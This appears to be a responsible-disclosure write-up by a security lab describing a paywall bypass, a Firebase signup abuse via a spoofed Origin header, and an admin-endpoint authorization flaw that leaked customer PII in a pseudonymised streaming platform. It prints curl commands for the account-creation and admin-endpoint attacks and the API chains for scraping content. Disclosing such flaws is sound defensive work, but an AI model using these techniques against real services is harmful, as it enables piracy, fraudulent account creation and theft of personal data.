Firebase Authentication Bypass & Paywall Defeat in Major Short Video & Audio Streaming Platform

Overview

SDX Shadow Labs recently identified a critical chain of vulnerabilities in a major audio and short video streaming platform (Target), which allowed unauthorized users to bypass all premium paywalls, exploit a Firebase authentication misconfiguration, and access sensitive customer PII.

The discovered flaws enabled a remote, unauthenticated attacker to create unlimited accounts without verification, masquerade as premium users, and exfiltrate internal documents such as director scripts and generated customer invoices containing Personally Identifiable Information (PII).

Vulnerabilities Found:

1. Full Premium Content Paywall Bypass (CVSS: 9.8 - Critical)
2. Firebase Authentication Bypass & Account Creation Abuse (CVSS: 9.1 - Critical)
3. Broken Function Level Authorization (BFLA) - Invoice PDF Leak (CVSS: 8.5 - High)
4. Public Exposure of Internal Director Scripts (CVSS: 7.0 - Medium)

---

1. Full Premium Content Paywall Bypass (Critical)

Multiple unauthenticated API endpoints allowed complete bypass of the paid subscription model. By chaining public APIs, an attacker could retrieve full video and audio content along with internal files without any payment or login.

Attack Chains

Chain 1 (Ad-based / Coin-based shows):

1. GET /api/v1.1/config/web/ → Extract show slug.
2. GET /api/v2.3/channels/{slug}/episodes/ → Get episode list.
3. GET /api/v2/episodes/{episode_slug} → API directly returns the hls_url.

Chain 2 (Subscription-based shows): CDN paths were predictable using the episode slug and ID, allowing direct access to the master.m3u8 files.

1. GET /api/v2.3/channels/{show}/episodes → Extract slug + id.
2. GET https://dxyz4.cloudfront.net/video-episode/{slug}/{id}/master.m3u8

Impact

• Over 1,300 premium episodes across 30+ shows became fully accessible.
• Videos available in up to 1080p quality.
• Internal director raw scripts (.docx) leaked.
• Easily scriptable for mass scraping and piracy.

---

2. Firebase Authentication Bypass & Account Creation Abuse (Critical)

Target's backend accepted Firebase ID tokens as session credentials via the Authorization: Bearer header. The Firebase project allowed account creation from specific origins (e.g., target.com), but these origins could be trivially spoofed.

Combined with unrestricted Firebase account creation, an attacker could create unlimited accounts without phone or email verification. This granted access to the entire platform—including the admin panel, creator studio, and pre-production environments.

Attack Flow

Step 1: Spoof Origin to bypass Firebase referrer restriction

curl -X POST \
  "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=REDACTED_API_KEY" \
  -H "Content-Type: application/json" \
  -H "Origin: https://target.com" \
  -d '{
    "email": "attackertesting@target.com",
    "password": "Attacker@123",
    "returnSecureToken": true
  }'

Step 2: Use the token to authenticate on Target

curl "https://target.com/api/v2/users/me?is_server_side=true" \
  -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIs..." 

Response:

{ 
  "user": { 
    "id": 366687233, 
    "name": "Remarkable_Lover270w", 
    "email": "attackertesting@target.com", 
    "has_premium": false, 
    "is_phone_verified": false, 
    "cms_role": "creator", 
    "phone": null 
  } 
}

Notice that is_phone_verified: false and phone: null—a full account was created without phone or email verification.

---

3. Broken Function Level Authorization (BFLA) - Invoice PDF Leak (High)

The admin panel at admin.target.com contained a regenerate-invoice endpoint that generated and returned customer invoice PDF download links. This endpoint lacked proper role-based authorization checks.

Any user authenticated via Firebase (including newly created accounts without phone numbers) could call this endpoint. The returned PDF download URLs required zero authentication to access, exposing full customer PII, including names, emails, phone numbers, addresses, PAN card numbers, and GSTINs.

Attack Flow

Step 1: Call admin endpoint with an unprivileged Firebase token.

curl -X POST "https://admin.target.com/api/.../admin/customer-delight/regenerate-invoice/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIs..." \
  -H "Origin: https://target.com" \
  -d '{"order_id": 1680}'

Response:

{ 
  "status": "Failed", 
  "invoice_download_link": "https://target.com/download-invoice/.../38168768736_1742306196.233976.pdf", 
  "error_message": "Link is already generated" 
}

Note: Although the HTTP status returned was 403, the PDF URL was still leaked in the response body.

Step 2: Download the PDF. Zero authentication is required to access the PDF link.

Impact

High risk of customer data exposure and potential mass enumeration of orders by incrementing the order_id.

---

Remediation & Disclosure

SDX Shadow Labs responsibly disclosed these vulnerabilities to the Target security team. They acknowledged the issues and quickly implemented remediation steps, which included:

• Restricting and properly authorizing access to CDN paths and episode endpoints.
• Enforcing strict backend validation of Firebase tokens and user states (ensuring OTP verification).
• Patching the BFLA issue on the invoice regeneration endpoint to enforce admin-only access.
• Removing public access to invoice PDFs.

The engagement highlighted the dangers of chaining seemingly minor API exposures with third-party integration misconfigurations, leading to critical platform compromise.

---

Disclaimer: The name "Target" and associated domains (target.com) are redacted dummy names used in this report to protect the identity of the actual client, in accordance with our coordinated responsible disclosure policy.